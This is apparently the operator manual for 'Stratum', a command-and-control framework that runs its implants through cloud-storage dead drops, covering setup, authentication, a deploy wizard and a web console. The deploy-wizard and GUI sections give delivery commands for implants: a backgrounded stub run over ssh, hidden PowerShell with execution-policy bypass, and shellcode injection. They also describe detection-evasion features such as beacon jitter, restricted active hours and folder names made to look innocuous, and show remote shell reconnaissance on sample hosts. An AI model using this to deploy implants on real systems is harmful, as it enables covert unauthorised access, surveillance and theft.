./install.sh --server

# Copy and edit the server config
cp server.yml.example server.yml
# Edit server.yml: set operator passwords, bind address, timezone

# Start the server
python3 stratum-server.py

The installer performs the following steps interactively: installs Python dependencies from requirements.txt, installs rustup + Rust cross-compilation targets, installs clang/lld/llvm via apt, downloads and splats the xwin Windows SDK (~1.5 GB, asked before proceeding), generates a self-signed TLS certificate in certs/, prints the SHA-256 fingerprint for browser verification, creates the sessions/, logs/, keys/, downloads/, and certs/ directories, and sets appropriate file permissions (600 for key files and server.yml, 700 for credentials/).

─── Quick Install · Step Checklist ──────────────────────────────────────── Step 1 Clone repository git clone https://github.com/your-org/stratum-c2.git cd stratum-c2 Status: ───────────────────────────────────────── [ ] pending Step 2 Run installer (interactive — confirms before heavy downloads) ./install.sh --server ├─ installs Python deps from requirements.txt [ ✓ ] ├─ installs rustup + cargo (if missing) [ ✓ ] ├─ adds Rust targets: linux-musl, windows-msvc, [ ✓ ] │ windows-gnu, unknown-none ├─ installs clang / lld / llvm via apt [ ✓ ] ├─ installs xwin + Windows SDK (~1.5 GB) [ ✓ ] ├─ generates self-signed TLS cert in certs/ [ ✓ ] ├─ prints SHA-256 fingerprint for browser verification [ ✓ ] ├─ creates sessions/ logs/ keys/ downloads/ certs/ [ ✓ ] └─ sets chmod 700 on credentials/, 600 on key files [ ✓ ] Step 3 Configure server.yml cp server.yml.example server.yml chmod 600 server.yml Edit: ├─ auth_mode: local (or oidc-manual / oidc-auto) [ ] required ├─ users: - username / password pairs [ ] required ├─ server.port (default: 7443) [ ] optional └─ settings.timezone [ ] optional Step 4 Start server python3 stratum-server.py └─ Server starts at https://0.0.0.0:7443 Open browser → accept TLS exception → verify fingerprint Step 5 Log in and run Deploy Wizard + Deploy button → select provider → authenticate → configure → build Download artifacts from 📦 Tradecraft panel

1.3 Manual Setup

# 1. Install Python dependencies
pip3 install -r requirements.txt

# 2. Generate TLS certificate
mkdir -p certs
openssl req -x509 -newkey rsa:4096 -keyout certs/server.key \
  -out certs/server.crt -days 3650 -nodes \
  -subj "/CN=stratum-server/O=Stratum"

# 3. Print fingerprint for browser pinning
openssl x509 -noout -fingerprint -sha256 -in certs/server.crt

# 4. Create directories
mkdir -p sessions keys credentials deployments logs

# 5. Set permissions
chmod 700 sessions keys credentials deployments
chmod 600 certs/server.key

# 6. Copy and configure server.yml
cp server.yml.example server.yml
# vim server.yml

# 7. Start
python3 stratum-server.py

1.4 Rust Toolchain

Handled automatically by install.sh
Running ./install.sh --server installs the full Rust toolchain interactively — rustup, all four cross-compilation targets, clang/lld/llvm, and the xwin Windows SDK. The manual steps below are only needed if you are setting up the toolchain independently of the installer.
# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env

# ── Linux musl-static ELF ──────────────────────────────────────
rustup target add x86_64-unknown-linux-musl

# ── Windows MSVC-ABI PE (EXE / DLL) ───────────────────────────
apt install clang lld llvm                 # Debian/Ubuntu/Kali
cargo install xwin --version 0.6.5 --locked
xwin --accept-license splat --output ~/.xwin    # ~1.5 GB download
rustup target add x86_64-pc-windows-msvc

# ── Windows GNU fallback ───────────────────────────────────────
rustup target add x86_64-pc-windows-gnu

# ── Shellcode (raw binary, no PE headers) ─────────────────────
rustup target add x86_64-unknown-none
# lld is required for the custom link.ld linker script

After installing the toolchain, native artifacts are compiled automatically during the next deployment wizard run. All four targets (Linux musl, Windows MSVC PE, Windows GNU fallback, shellcode) must be installed for the full artifact set — missing a target causes that compilation step to be skipped with a warning for that artifact type.

1.5 Docker

Stratum ships a Dockerfile for containerised deployment. The image is single-stage and contains the full toolchain needed to compile agents at deploy time — Python server, Rust (rustup), clang/lld (MSVC cross-compilation), and the xwin Windows SDK. Agents are never pre-compiled: each deployment wizard run produces artifacts with unique cloud folder names, provider credentials, and encryption keys, so compilation always happens on-demand inside the running container.

Secret management
server.yml is never baked into the image — it is bind-mounted at runtime. Credentials, sessions, logs, keys, and deployment packages are all external volumes. The container image itself contains no operator secrets.
─── Image layer order (cache-optimised) ──────────────────────────────────── Base: python:3.12-slim-bookworm Layer 1 apt: curl, musl-tools, clang, llvm, lld, pkg-config, openssl, libssl-dev Layer 2 symlinks: clang-cl, lld-link, llvm-lib, llvm-rc → /usr/local/bin/ Layer 3 rustup install + targets: linux-musl, windows-msvc, unknown-none Layer 4 cargo install xwin 0.6.5 → xwin splat → /root/.xwin (~600 MB, cached) Layer 5 ENV: MSVC cross-compilation vars (linker, CC, CFLAGS, RUSTFLAGS) Layer 6 pip install -r requirements.txt Layer 7 COPY application source (stratum-server.py, server/, providers/, agents/, webui/) mkdir runtime dirs | useradd stratum | chown + chmod toolchain world-readable
Build cache
Layers 1–5 (toolchain + xwin SDK) are cached after the first build. Changing application source only invalidates Layer 7. The ~600 MB Windows SDK download happens once and is stored as a fixed Docker layer.
Build and run
# Build the image (~20 min first time — xwin SDK download; cached after that)
docker build -t stratum-c2 .

# Prepare config on the host
cp server.yml.example server.yml
# edit server.yml: set passwords, provider credentials, port

# Run — mount secrets and runtime dirs as volumes
docker run --rm -it \
  -v ./server.yml:/app/server.yml:ro \
  -v ./sessions:/app/sessions \
  -v ./logs:/app/logs \
  -v ./keys:/app/keys \
  -v ./certs:/app/certs \
  -v ./credentials:/app/credentials \
  -v ./deployments:/app/deployments \
  -p 7443:7443 \
  stratum-c2

Host compatibility: The image runs on any host with Docker Engine (Linux) or Docker Desktop with WSL2 backend (Windows/macOS). The container is always Linux-based regardless of host OS. On Windows hosts, bind-mounted files do not inherit POSIX permissions — server.yml will be world-readable inside the container, which is acceptable since the container is isolated.

Image size: ~4 GB (rustup + clang/llvm/lld ~800 MB + xwin Windows SDK ~600 MB + Python deps). This is inherent to carrying a full cross-compilation toolchain. The tradeoff is that every operator gets a fully self-contained environment with zero local setup beyond Docker itself.

1.6 Running as a systemd Service

# install.sh --server creates the unit file automatically. Manual:

cat > /etc/systemd/system/stratum.service <<EOF
[Unit]
Description=Stratum Cloud Persistence Server
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
User=stratum
WorkingDirectory=/opt/stratum-c2
ExecStart=/usr/bin/python3 /opt/stratum-c2/stratum-server.py
Restart=on-failure
RestartSec=10
NoNewPrivileges=yes
PrivateTmp=yes

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable --now stratum
journalctl -u stratum -f   # tail logs

2Configuration

2.1 server.yml Reference

# server.yml — copy from server.yml.example and edit before running
# IMPORTANT: chmod 600 server.yml  (contains cleartext passwords and JWT secret)

server:
  host: 0.0.0.0          # bind address (0.0.0.0 = all interfaces)
  port: 7443             # HTTPS/WSS port
  tls:
    mode: self-signed    # generates certs/server.crt + certs/server.key
    cert: certs/server.crt
    key:  certs/server.key
  session_dir: sessions/ # session JSON profiles
  log_dir:     logs/     # command history CSV + chat.jsonl + revoked tokens
  key_dir:     keys/     # deployment RSA keypairs

# auth_mode: local | oidc-manual | oidc-auto
auth_mode: local

# Local users (auth_mode: local only). All users have equal privileges.
users:
  - username: admin
    password: "changeme"    # cleartext — chmod 600 this file
  - username: alice
    password: "changeme2"

# OIDC (auth_mode: oidc-manual or oidc-auto). Remove or leave commented for local auth.
#oidc:
#  provider_url: https://keycloak.example.com/realms/stratum
#  client_id: stratum-c2
#  client_secret: "your-client-secret"
#  identity_claim: email          # stable key for whitelist/blocklist
#  display_claim: preferred_username  # name shown in WebUI
#  allowed_identities:            # oidc-manual only
#    - alice@corp.com
#    - bob@corp.com

settings:
  jwt_expiry_hours: 24             # token lifetime
  jwt_secret: ""                   # auto-generated on first run
  build_timeout_sec: 300           # deploy wizard build timeout
  heartbeat_retain_days: 90        # reserved — not currently implemented
  cmd_lock_timeout_multiplier: 5  # pending_cmd auto-expires after N × agent_sleep
  hb_warn_multiplier: 3            # IDLE threshold: last_hb > N × agent_sleep → IDLE
  hb_dead_multiplier: 6            # DEAD threshold: last_hb > N × agent_sleep → DEAD
  timezone: "UTC"                  # IANA timezone (e.g. "Europe/Rome")
  log_level: "info"               # debug | info | warning | error
  log_file:  ""                   # log filename inside log_dir (e.g. "stratum.log")
                                     # "" = console only; rotates daily, no automatic deletion

2.2 TLS & Browser Verification

Stratum generates a self-signed TLS certificate at install time. When accessing the WebGUI for the first time, the browser will show a certificate warning. Verify the certificate fingerprint shown by install.sh matches what your browser reports before accepting:

# Check fingerprint at any time:
openssl x509 -noout -fingerprint -sha256 -in certs/server.crt

# Output:
SHA256 Fingerprint=2A:F1:8C:...

After verifying the fingerprint, add a permanent browser exception for this certificate. Do not distribute the .crt file to add it to system trust stores in operational environments — the self-signed certificate is intentionally not trusted by default, which prevents MitM by an intermediate party that could present a CA-signed certificate.

Never disable certificate checking
Do not use --insecure / ignore TLS warnings without verifying the fingerprint first. An attacker on the network could present a forged certificate if you skip verification entirely.

2.3 Operator Accounts

Stratum supports multiple simultaneous operators. Each operator entry requires only a username and password. All operators have equal privileges — there is no role system.

Passwords are stored in cleartext in server.yml. This is intentional: the file is the trust boundary, and it must be protected at the OS level.

Protect server.yml
server.yml contains operator passwords and the JWT signing secret in cleartext. Run chmod 600 server.yml immediately after creation.

To add or change an operator, edit server.yml and restart the server. There is no hot-reload for operator accounts.

2.4 Cloud Credentials

Cloud provider credentials (OAuth2 refresh tokens, app key/secret) are stored in credentials/{provider}.json, managed through the WebGUI Credentials section or the Deploy Wizard. Each provider entry contains a profile ID, label, and the credential fields specific to that provider.

# credentials/dropbox.json (auto-managed by wizard)
[
  {
    "id":            "dbx_ops_2026",
    "label":         "Ops Account — acme.com",
    "app_key":       "abc123...",
    "app_secret":    "xyz789...",
    "refresh_token": "XXXXXXXXXX..."
  }
]

2.5 Server Logging

Stratum uses Python's standard logging module configured via dictConfig in server/logging_config.py. The configuration is applied once, atomically, before uvicorn.run() is called. uvicorn receives log_config=None to prevent it from overriding the setup.

Logger namespace: all Stratum loggers live under the stratum.* hierarchy with propagate=False:

LoggerUsed in
stratum.startupserver/main.py — boot sequence, session load, task start
stratum.sessionSession lifecycle events (connect, disconnect, state changes)
stratum.cmdserver/poller.py — command dispatch, output delivery, poller notifications
stratum.wsWebSocket connection events
stratum.pollerHeartbeat and state-watcher loop events
stratum.wizardDeploy wizard steps (server mode)

Handlers:

  • StreamHandler — always active, writes to stderr. Format: %(asctime)s %(levelname)-8s %(name)s: %(message)s
  • TimedRotatingFileHandler — enabled when log_file is set in server.yml. Rotates at midnight, keeps 14 daily files (suffix .YYYY-MM-DD). File is created lazily on first write (delay=True).
─── Logging Architecture ────────────────────────────────────────────────── server.yml: settings: log_level: "info" # applies to all stratum.* loggers log_file: "stratum.log" # relative to log_dir; "" = console only configure_logging() called in _run_server() before uvicorn.run(): │ ├─ dictConfig applied atomically ├─ stratum.* loggers → level=log_level, propagate=False ├─ uvicorn.* loggers → WARNING (capped independently) └─ multipart.multipart → WARNING (suppresses form-data noise) Handlers: console → StreamHandler(stderr) always active file → TimedRotatingFileHandler only if log_file != "" when=midnight · backupCount=0 · delay=True uvicorn.run(log_config=None) ← prevents uvicorn dictConfig override

When log_file is a relative path, it is resolved relative to the working directory — keep it inside log_dir to co-locate it with session history and prefs files. Example: log_file: "stratum.log" with default log_dir: "logs/" writes to logs/stratum.log, rotating to logs/stratum.log.2026-06-26.

2.6 HTTP Security Headers & Fingerprint Reduction

The server applies a set of defensive HTTP response headers on every request, and suppresses headers that would reveal server identity or framework version. These controls are applied by an ASGI middleware layer (_SecurityHeadersMiddleware) before any route handler executes.

HeaderValuePurpose
X-Frame-OptionsDENYPrevents the WebGUI from being embedded in an iframe (clickjacking protection)
X-Content-Type-OptionsnosniffDisables MIME-type sniffing — prevents browsers from executing non-JS resources as scripts
Referrer-Policyno-referrerPrevents the server URL from leaking in outbound Referer headers
Permissions-Policygeolocation=(), microphone=(), camera=()Disables browser APIs that have no legitimate use in this application
Content-Security-PolicySelf-origin only (see below)Restricts script, style, image, and connection sources to the same origin
Server(empty string)Suppresses framework/version fingerprint — prevents "FastAPI" / uvicorn from appearing in responses

Content-Security-Policy:

default-src 'self';
script-src  'self' 'unsafe-inline';
style-src   'self' 'unsafe-inline';
font-src    'self';
img-src     'self' data:;
connect-src 'self' wss:;
frame-ancestors 'none';

Fingerprint reduction: the FastAPI application is initialized with a generic title ("API"), version "1.0", and openapi_url=None — this disables the /openapi.json schema endpoint and the /docs / /redoc Swagger UIs. Combined with the empty Server header, passive reconnaissance cannot identify the framework or enumerate the API schema.

Why these headers matter for an operator tool
If an operator's browser is compromised or an operator navigates to a malicious page while Stratum is open, missing X-Frame-Options or CSP makes clickjacking attacks viable against the WebGUI. These headers are standard hardening for any web admin panel, even one accessible only on a private network.

3Authentication

Stratum supports three authentication modes, selected via the auth_mode key in server.yml. Only one mode is active at a time — the server refuses to start if the configuration is invalid.

3.1 Auth Modes Overview

ModeIdentity sourceWhitelist requiredPrefs lifecycle
localusers[] in server.ymlImplicit (only listed users)Created/purged at boot
oidc-manualOIDC providerYes — allowed_identitiesCreated/purged at boot
oidc-autoOIDC providerNo — optional blocked_identitiesCreated lazily on first login
WebGUI · Login page — Local auth mode (username + password)

3.2 Local Mode

The default mode. Operator accounts are defined directly in server.yml under the users key. Passwords are stored in cleartext — the file is the trust boundary and must be chmod 600.

auth_mode: local

users:
  - username: alice
    password: "changeme"
  - username: bob
    password: "changeme2"

All operators have equal privileges. There is no role or permission system. To add or revoke an account, edit server.yml and restart the server. At boot, prefs files for users no longer present in the list are automatically deleted.

Login attempts are rate-limited per client IP: 5 failures in 300 seconds triggers a 60-second lockout. Failed-attempt counters and lockout entries are held in memory and purged automatically when they expire — the memory footprint remains bounded regardless of scan or probe volume. Lockout state does not survive a server restart.

Protect server.yml
server.yml contains operator passwords and the JWT signing secret in cleartext. Run chmod 600 server.yml immediately after creation.

3.3 OIDC-Manual Mode

Delegates authentication to an external OIDC provider (Keycloak, Azure AD, Okta, or any standard OIDC-compliant IdP). Access is restricted to a pre-declared whitelist of identities defined in server.yml. The lifecycle is identical to local mode: at boot, prefs files are created for whitelisted identities and purged for identities that have been removed.

auth_mode: oidc-manual

oidc:
  provider_url: https://keycloak.example.com/realms/stratum
  client_id: stratum-c2
  client_secret: "your-client-secret"
  identity_claim: email          # claim used as stable identity key
  display_claim: preferred_username  # claim shown in WebUI
  allowed_identities:
    - alice@corp.com
    - bob@corp.com

To revoke access: remove the identity from allowed_identities and restart. The prefs file is deleted automatically at the next boot.

Keycloak client setup

Create a new client in Keycloak (Clients → Create client) and configure the Settings tab as follows:

FieldValue
Client authenticationOn (confidential client — required for client_secret)
AuthorizationOff
Standard FlowOn (Authorization Code Flow)
Root URLhttps://<stratum-host>:<port>
Home URLhttps://<stratum-host>:<port>
Valid redirect URIshttps://<stratum-host>:<port>/api/v1/auth/oidc/callback
Web originshttps://<stratum-host>:<port>
Copy client_id and client_secret (Credentials tab) into server.yml. Required token scopes: openid email profile.
The callback URL is derived automatically by Stratum from the incoming request — it does not need to be set in server.yml.
WebGUI · Login page — OIDC mode (Sign in with provider)

3.4 OIDC-Auto Mode

Any account that successfully authenticates with the provider is granted access. No pre-declared whitelist is required. Per-operator prefs files are created lazily on first successful login. Use blocked_identities to deny specific accounts.

auth_mode: oidc-auto

oidc:
  provider_url: https://keycloak.example.com/realms/stratum
  client_id: stratum-c2
  client_secret: "your-client-secret"
  blocked_identities:   # optional — add to deny specific accounts
    - badactor@corp.com

Keycloak client configuration is identical to §3.3 — same Root URL, Home URL, Valid redirect URIs, and Web origins. The only difference is that no allowed_identities whitelist is required.

Orphaned prefs files
In oidc-auto mode, prefs files for removed or blocked users are not deleted automatically. Remove them manually from logs/prefs/ if needed.
─── OIDC Authorization Code Flow ────────────────────────────────────────── BROWSER STRATUM SERVER KEYCLOAK (IdP) │ │ │ │ GET /login │ │ │───────────────────────►│ │ │ │ │ │ 302 → /api/v1/auth/ │ │ │ oidc/start │ │ │◄───────────────────────│ │ │ │ │ │ GET /oidc/authorize?client_id=stratum-c2 │ │ &redirect_uri=...&state=NONCE&scope=openid │ │─────────────────────────────────────────────────►│ │ │ │ │ [user enters credentials at Keycloak] │ │ │ │ │ 302 → stratum/api/v1/auth/oidc/callback │ │ ?code=AUTH_CODE&state=NONCE │ │◄─────────────────────────────────────────────────│ │ │ │ │ GET /api/v1/auth/oidc/callback?code=AUTH_CODE │ │───────────────────────►│ │ │ │ POST /token │ │ │ (code + client_secret) │ │ │──────────────────────────►│ │ │ │ │ │◄──────────────────────────│ │ │ access_token + id_token │ │ │ │ │ │ Verify JWT signature via JWKS (OIDC discovery endpoint) │ │ (python-jose + provider's public keys — RS256/RS512) │ │ Extract: identity_claim → whitelist check │ │ display_claim → shown in WebUI topbar │ │ │ │ │ [oidc-manual] Check allowed_identities │ │ [oidc-auto] Check blocked_identities │ │ │ │ │ Issue Stratum JWT (HS256, {expiry} hours) │ │ Set-Cookie: stratum_token=JWT; Secure; HttpOnly │ 302 → / (WebGUI) │ │ │◄───────────────────────│ │ │ │ │ [WebGUI loads — operator authenticated] State parameter: random nonce, verified server-side to prevent CSRF. id_token claims: identity_claim normalised (lowercase+strip) for stable key. JWT expiry: configurable jwt_expiry_hours (default: 24h). Revocation: JWT blocklist in logs/revoked_tokens.json — checked on every request.

3.5 Identity & Display Claims

Two independent OIDC claims control how an operator appears in the system:

ParameterPurposeNormalised?Default
identity_claimStable key used for whitelist/blocklist checks, prefs file name, and JWT subYes — lowercased and strippedemail
display_claimName shown in WebUI topbar and operator list — purely cosmeticNo — shown as-is from tokenpreferred_username

Any standard OIDC claim works: email, preferred_username, sub, name, given_name, or a custom claim configured in the provider realm. If display_claim is absent from the token, the system falls back to the raw value of identity_claim — login is not blocked.

If identity_claim is absent from the token, login is denied with an explicit error message.

3.6 Login Page Behaviour

The login page adapts automatically based on the server's auth_mode. Operators navigate to https://<server>:<port>/ — the server redirects unauthenticated requests to the login page.

  • local — operator sees a username + password form. Enter credentials and submit. A JWT is issued on success and stored as a session cookie; the browser redirects to the WebGUI.
  • oidc-manual / oidc-auto — the credential form is hidden and replaced by a single Sign in with OIDC Provider button. Clicking it redirects the browser to the provider's authorization page (Keycloak, Azure AD, Okta, etc.). After successful authentication, the provider redirects back to Stratum with an authorization code; the server verifies the token, checks the identity against the whitelist (oidc-manual) or blocklist (oidc-auto), issues a JWT, and redirects to the WebGUI. No credentials are entered in Stratum directly.

OIDC errors (access denied, invalid state, missing claim, provider unreachable) are surfaced as inline messages on the login page — never as raw browser errors. An invalid JWT or expired session redirects back to the login page automatically.

3.7 Startup Validation

The server validates server.yml at boot and exits with a clear diagnostic message if any of the following conditions are detected:

  • auth_mode is not one of local, oidc-manual, oidc-auto
  • auth_mode: local with no entries in users[]
  • auth_mode: local with a user entry missing username or password
  • auth_mode: oidc-manual or oidc-auto with missing provider_url, client_id, or client_secret
  • auth_mode: oidc-manual with an empty allowed_identities list
  • server.yml is not valid YAML

The server never starts in a partially configured state — fail-fast is intentional.

4Deploy Wizard

The Deploy Wizard creates a new session end-to-end: provider authentication, channel configuration, delivery mode selection, and artifact build. It runs in a modal overlay and streams build progress in real time.

4.1 Open the Wizard

Click + Deploy in the topbar. The wizard modal opens and walks you through four steps.

Deploy Wizard · Step 1 — Provider selection (5 providers)

4.2 Authenticate the Provider

OAuth2 providers (Dropbox, OneDrive, Google Drive, SharePoint): the wizard opens the provider authorization page in a popup. Authorize the Stratum app, the popup closes, and the wizard captures the token automatically. Credentials are saved for future deployments — authorize once per provider account.

S3-compatible providers: no popup. Enter access_key_id, secret_access_key, region, bucket name, and optional endpoint URL directly in the wizard form.

OAuth session TTL
Each OAuth authorization flow has a 10-minute window. If the operator does not complete the provider authorization within that window (e.g., browser closed, popup blocked), the server-side session is automatically discarded on the next flow start. Incomplete flows leave no credentials in memory.
Deploy Wizard · Step 2 — Authenticate provider (OAuth2 + saved credentials)

4.3 Configure the Channel

Step 3 sets the dead-drop location and beacon timing.

Screenshot — Deploy Wizard · Step 3: Configuration (modal)
🔒 https://ops.stratum.local:7443
S
STRATUM
+ Deploy
📦 Tradecraft
Deploy Agent ×
✓
✓
3
4
Step 3: Configuration
Deploy Mode
Staged Enc
Stage-2 uploaded to cloud encrypted with stub_secret baked in stub. Agent fetches and decrypts on first run; restarts use hw-keyed local blob.
Stageless Enc
Config encrypted with stub_secret, both baked into binary. Nothing on cloud. Works fully offline. Recommended for production.
Stageless Plain
No encryption at rest. Use only in controlled or air-gapped environments.
Beacon Behavior
Sleep Interval (seconds)
Jitter (%)
Active Hours (optional — leave blank for 24/7)
From
To
Back
Next →

The channel section includes two randomization toggles and a session label field:

  • Randomize filenames (toggle, default: on) — generates random hex names for input_file, output_file, and heartbeat_file. When off, the fields appear for manual entry.
  • Folder Path — three modes via radio selector:
    • Random hex (default) — generates an 8-char hex path like /a8f3c1b2. No fingerprint, no static pattern.
    • Random realistic — generates a plausible folder name like /Reports_Q3 or /Backups42 from a prefix+suffix dictionary. Blends with real cloud content.
    • Manual — reveals a text input for a custom folder path.
  • Session Label (text input + 💡 Suggest button) — operator-assigned name for the session (e.g. webserver-01, dc-corp). Shown in the session list and header. If left empty, the folder path is used as the display name. The Suggest button opens a modal with context-aware label suggestions grouped by category (EDR, cloud, infrastructure, etc.).

Step 2 (Configuration) sets the beacon timing and guardrails:

  • Sleep Interval + Jitter — beacon timing. 60s interval with 20% jitter produces 48–72s actual intervals, breaking fixed-interval network signatures.
  • Maintenance Window — optional time range during which the agent will not beacon. Restricts activity to off-hours to reduce detection exposure.

4.4 Select Delivery Mode

Choose the delivery mode for this deployment. See Technical Reference §4 for full detail on each mode.

  • Stageless-Enc — recommended for production. Single-file drop; config is AES-encrypted with stub_secret baked into the binary. Nothing sensitive is ever uploaded to cloud storage. Works fully offline after delivery.
  • Staged-Enc — smallest initial stub footprint. Stage-2 payload lives in the cloud folder (encrypted with stub_secret) and can be updated without re-delivering the stub.
  • Stageless-Plain — no encryption at rest. Use only in controlled lab or air-gap environments.

Optionally enable Debug mode for verbose agent logging. Disable in production — debug output is written to the cloud channel and increases operational exposure.

4.5 Build and Deliver

The wizard streams the build log as it compiles all artifacts. On completion, a summary lists every artifact and its OPSEC profile. Download the deployment package from the Tradecraft panel (§5.4).

Cloud folder is cleaned up automatically on session wipe
When a session is wiped from the WebGUI, Stratum deletes the entire cloud folder (not just the individual dead-drop files). The folder deletion is provider-specific: Dropbox, OneDrive, and SharePoint use a recursive delete API call; Google Drive resolves the folder ID and then deletes it; S3 lists all objects under the folder prefix and deletes them individually. See §5.9 for the wipe flow.

The generated DEPLOYMENT_GUIDE.txt inside the package contains the exact delivery commands for the target platform:

# Linux — staged-enc or stageless-enc
scp deployment_7b3f8a/agent/stub.sh user@target:/tmp/
ssh user@target 'chmod +x /tmp/stub.sh && nohup /tmp/stub.sh >/dev/null 2>&1 &'

# Windows — PowerShell delivery
powershell -ep bypass -w hidden -f stub.ps1

# Windows — native EXE (if compiled)
stub.exe        # run directly or inject via preferred loader

# Windows — shellcode (stub.bin)
# Inject into target process via your preferred technique
Deploy Wizard · Build complete — artifact summary (7 artifacts)
One deployment, multiple agent types
All artifact types for a given session are generated in the same deployment wizard run. You receive a .sh, .ps1, .elf, .exe, .dll, and .bin all sharing the same session ID and cloud folder. Switch between them on the target as needed without redeploying.
Credential reuse across deployments
After a successful deployment the wizard copies the global credentials cache (credentials/{provider}) into the deployment package at deployments/{id}/ for per-session isolation. The global file is not deleted — it remains available for reuse in future deployments. To authenticate with different credentials, answer N when the wizard asks to reuse existing credentials.

5WebGUI Reference

5.1 Interface Overview

The Stratum WebGUI is a browser-based multi-operator interface accessible at https://<server>:7443 (default port, configurable in server.yml). It communicates with the server over REST (for actions) and WebSocket (for real-time session state updates). No client software installation is required — any modern browser works.

The layout is a single persistent view with three vertical zones:

  • Topbar — fixed at the top: brand, + Deploy and 📦 Tradecraft buttons (open modals), WebSocket status, server clock, chat toggle, settings, operator pill and logout
  • Sessions pane — resizable table at the top of the main area listing all active sessions; clicking a row selects it and populates the detail area below
  • Detail area — the lower panel, showing the selected session's shell, history, artifacts, persistence, control and info tabs; the operator chat panel docks to the right side
WebGUI — Full interface: session selected · Shell tab · chat open

5.2 Session List

The Session List is the default view. It shows all active and recently active sessions with real-time state updates pushed over WebSocket. No manual refresh is needed — state changes (new session, heartbeat update, status change) appear instantly across all connected operators.

WebGUI · Session List — all states: ● LIVE · ● IDLE · ● DEAD · ■ STOP

Agent status states (shown as pills in the first table column):

  • ● LIVE — heartbeat received within the last hb_warn_multiplier × sleep seconds (default: 3×)
  • ● IDLE — no heartbeat between hb_warn_multiplier × sleep and hb_dead_multiplier × sleep (default: 3× – 6×)
  • ● DEAD — no heartbeat for more than hb_dead_multiplier × sleep (default: 6×); agent may be down
  • ● CLOUD — heartbeat monitor encountered a cloud connectivity error (not agent-down; cloud unreachable from server); shown in purple
  • ■ STOP — polling manually paused via the ■ Stop Poll button
Configurable thresholds
The LIVE/IDLE/DEAD boundaries scale with the agent's configured sleep interval and are tunable per-server via hb_warn_multiplier and hb_dead_multiplier in server.yml. A session with a 5-minute sleep uses different absolute thresholds than one with 60 s — so a long-haul session at 300 s sleep is never incorrectly marked DEAD after a single missed beacon.

Table columns (drag to reorder; order persisted in localStorage):

ColumnContent
StatusLive status pill (LIVE / IDLE / DEAD / CLOUD / STOP) + lock icon if session is locked
ProviderCloud storage provider icon and name
LabelSession label if set by the operator; falls back to the cloud folder path if no label was assigned
IDFirst 6 hex chars of the session UUID
UserTarget username (with * star if admin/root/SYSTEM)
HostTarget hostname
DomainTarget domain
OSOperating system badge (Win / Linux)
Int IPInternal IP address
Ext IPExternal IP address
PIDAgent process ID
ProcessAgent process name
Last HBTime since last heartbeat (live countdown)
Next CheckinEstimated time until next beacon (based on sleep interval)

Click any row to select the session and populate the detail area below the resize handle.

5.3 Session REPL

Clicking a row in the sessions table selects that session and populates the detail area below the resize handle. The detail area opens with the session header — the session label (or folder path if no label is set), a live status pill, and a ■ Stop Poll button — followed by a metadata row (session ID, provider, last heartbeat, sleep, jitter, OS) and a tab bar. The Shell tab (default) is a terminal-style interface: type any shell command to send it encrypted to the agent, or use slash-prefixed control commands for built-in operations. There is no separate sidebar — all session metadata appears in the header rows above the tab bar.

WebGUI · Shell tab — Windows (powershell.exe) → prompt PS>
WebGUI · Shell tab — Windows (cmd.exe) → prompt cmd>
WebGUI · Shell tab — Linux non-root (bash) → prompt $
WebGUI · Shell tab — Linux root (bash) → prompt #
S
STRATUM
+ Deploy
📦 Tradecraft
3 sessions
1 operator
09:23:47
UTC
💬
?
⚙
A
admin
⏻
ProviderFolderIDUserHostDomainOS Int IPExt IPPIDProcessLast HBNext Checkin
● LIVE dropbox ops/DESKTOP-K8PX2 7b3f8a corp\jdoe DESKTOP-K8PX2 corp.acme.com Windows 192.168.14.105 185.23.104.88 6412 powershell.exe 12s 48s
● IDLE onedrive ops/ubuntu-srv-03 c92e14 root* ubuntu-srv-03 — Linux 10.10.5.22 91.47.202.13 2841 bash 18m —
● LIVE dropbox ops/WS-FINANCE-01 4a17bc corp\msmith WS-FINANCE-01 corp.acme.com Windows 172.16.8.201 103.14.88.51 9038 powershell.exe 34s 56s
ops/DESKTOP-K8PX2
LIVE
■ Stop Poll
ID7b3f8a
Providerdropbox
Heartbeat12s
Sleep60s
Jitter20%
OSWindows
Shell
Artifacts
Staging
Persist
Info
[ct: [09:22:14]] [cop2: [admin]] [cid: [7b3f8a]] PS C:\> whoami
[cid: [7b3f8a]] Output:
corp\jdoe
[ct: [09:22:41]] [cop2: [admin]] [cid: [7b3f8a]] PS C:\> ipconfig | findstr IPv4
[cid: [7b3f8a]] Output:
IPv4 Address. . . . . . . . . . . : 192.168.14.105
[ct: [09:23:47]] [cop2: [admin]] [cid: [7b3f8a]] PS C:\> net user /domain
waiting for agent response…
PS C:\>

Shell commands (anything not prefixed with /) are encrypted and sent to the agent as pass-through shell input. The agent executes the command, captures stdout+stderr, encrypts the response, and uploads it to the cloud output file. The WebGUI polls and displays the result as soon as it arrives.

Async command model
Commands are asynchronous. After sending a command, the WebGUI shows a pending indicator until the agent responds. The response time depends on the agent's current sleep interval — a 60s sleep with 20% jitter means the agent may take up to 72s to pick up the command. You can send another command to a different session while waiting.

5.4 Tradecraft Panel

The 📦 Tradecraft button in the top bar opens a modal overlay listing all deployment packages stored on the server. Each package contains the complete set of artifacts for a session: agent scripts, compiled binaries, keys, and the deployment guide. Packages can be downloaded as a ZIP or deleted when no longer needed.

Screenshot — WebGUI · 📦 Tradecraft modal (3 packages)
🔒 https://ops.stratum.local:7443
S
STRATUM
+ Deploy
📦 Tradecraft
09:25:03
UTC
A
admin
ProviderFolderIDUser HostOSInt IPLast HB
● LIVEdropboxops/DESKTOP-K8PX27b3f8acorp\jdoeDESKTOP-K8PX2Windows192.168.14.10512s
● IDLEonedriveops/ubuntu-srv-03c92e14root*ubuntu-srv-03Linux10.10.5.2218m
📦 Tradecraft
deployment_7b3f8a
DESKTOP-K8PX2  ·  corp\jdoe
dropbox stageless-enc 7 files 2026-06-21 09:22 UTC
2.1 MB
deployment_c92e14
ubuntu-srv-03  ·  root
onedrive staged-enc 5 files 2026-06-19 14:55 UTC
1.4 MB
deployment_4a17bc
WS-FINANCE-01  ·  corp\msmith
dropbox stageless-enc 6 files 2026-06-20 11:30 UTC
1.8 MB
Protect Deployment Packages
Each deployment package contains the RSA private key for that session. Compromise of the package means an attacker can decrypt all past and future responses from that agent. Download packages only over the verified HTTPS connection. Delete packages from the server when no longer needed.

5.5 Multi-Operator & Chat

